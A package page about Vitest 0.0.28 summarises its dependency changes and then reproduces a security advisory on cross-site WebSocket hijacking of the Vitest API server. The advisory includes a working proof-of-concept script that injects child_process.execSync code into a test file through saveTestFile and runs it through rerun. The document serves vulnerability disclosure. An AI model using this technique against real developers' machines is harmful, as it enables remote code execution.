Vitest, a blazing-fast unit test framework powered by Vite, released version 0.0.28, a minor update from the previous stable version 0.0.27. Both versions share the same core dependencies, including testing essentials like Chai, Sinon, and Jest utilities, ensuring familiar assertion and mocking capabilities for developers. They also leverage Vite's ecosystem for speed and efficiency, offering a modern testing experience.
A notable change in version 0.0.28 is the introduction of the chai-subset dependency and its corresponding TypeScript definition (@types/chai-subset). This addition empowers developers with enhanced assertion capabilities, allowing for easier verification of object subsets within tests; this is an especially useful functionalities when dealing with complex data structures or APIs. Moreover version 0.0.28 includes the addition of jest-snapshot and @jest/test-result as dependencies.
Beyond dependency updates, a subtle shift is observed in the dist object. The unpackedSize increased from 67154 to 68212, hinting at internal improvements and potentially new features or enhancements contributing to a slightly larger package size. Choosing between the versions depends on project needs. If precise subset matching is crucial, developers would benefit from 0.0.28's inclusion of chai-subset. Both remain viable options for efficient unit testing, backed by Vite's speed and a comprehensive set of testing tools.
All the vulnerabilities related to the version 0.0.28 of the package
Vitest allows Remote Code Execution when accessing a malicious website while Vitest API server is listening
Arbitrary remote Code Execution when accessing a malicious website while Vitest API server is listening by Cross-site WebSocket hijacking (CSWSH) attacks.
When api
option is enabled (Vitest UI enables it), Vitest starts a WebSocket server. This WebSocket server did not check Origin header and did not have any authorization mechanism and was vulnerable to CSWSH attacks.
https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L32-L46
This WebSocket server has saveTestFile
API that can edit a test file and rerun
API that can rerun the tests. An attacker can execute arbitrary code by injecting a code in a test file by the saveTestFile
API and then running that file by calling the rerun
API.
https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L66-L76
calc
executable in PATH
env var (you'll likely have it if you are running on Windows), that application will be executed.// code from https://github.com/WebReflection/flatted
const Flatted=function(n){"use strict";function t(n){return t="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(n){return typeof n}:function(n){return n&&"function"==typeof Symbol&&n.constructor===Symbol&&n!==Symbol.prototype?"symbol":typeof n},t(n)}var r=JSON.parse,e=JSON.stringify,o=Object.keys,u=String,f="string",i={},c="object",a=function(n,t){return t},l=function(n){return n instanceof u?u(n):n},s=function(n,r){return t(r)===f?new u(r):r},y=function n(r,e,f,a){for(var l=[],s=o(f),y=s.length,p=0;p<y;p++){var v=s[p],S=f[v];if(S instanceof u){var b=r[S];t(b)!==c||e.has(b)?f[v]=a.call(f,v,b):(e.add(b),f[v]=i,l.push({k:v,a:[r,e,b,a]}))}else f[v]!==i&&(f[v]=a.call(f,v,S))}for(var m=l.length,g=0;g<m;g++){var h=l[g],O=h.k,d=h.a;f[O]=a.call(f,O,n.apply(null,d))}return f},p=function(n,t,r){var e=u(t.push(r)-1);return n.set(r,e),e},v=function(n,e){var o=r(n,s).map(l),u=o[0],f=e||a,i=t(u)===c&&u?y(o,new Set,u,f):u;return f.call({"":i},"",i)},S=function(n,r,o){for(var u=r&&t(r)===c?function(n,t){return""===n||-1<r.indexOf(n)?t:void 0}:r||a,i=new Map,l=[],s=[],y=+p(i,l,u.call({"":n},"",n)),v=!y;y<l.length;)v=!0,s[y]=e(l[y++],S,o);return"["+s.join(",")+"]";function S(n,r){if(v)return v=!v,r;var e=u.call(this,n,r);switch(t(e)){case c:if(null===e)return e;case f:return i.get(e)||p(i,l,e)}return e}};return n.fromJSON=function(n){return v(e(n))},n.parse=v,n.stringify=S,n.toJSON=function(n){return r(S(n))},n}({});
// actual code to run
const ws = new WebSocket('ws://localhost:51204/__vitest_api__')
ws.addEventListener('message', e => {
console.log(e.data)
})
ws.addEventListener('open', () => {
ws.send(Flatted.stringify({ t: 'q', i: crypto.randomUUID(), m: "getFiles", a: [] }))
const testFilePath = "/path/to/test-file/basic.test.ts" // use a test file returned from the response of "getFiles"
// edit file content to inject command execution
ws.send(Flatted.stringify({
t: 'q',
i: crypto.randomUUID(),
m: "saveTestFile",
a: [testFilePath, "import child_process from 'child_process';child_process.execSync('calc')"]
}))
// rerun the tests to run the injected command execution code
ws.send(Flatted.stringify({
t: 'q',
i: crypto.randomUUID(),
m: "rerun",
a: [testFilePath]
}))
})
This vulnerability can result in remote code execution for users that are using Vitest serve API.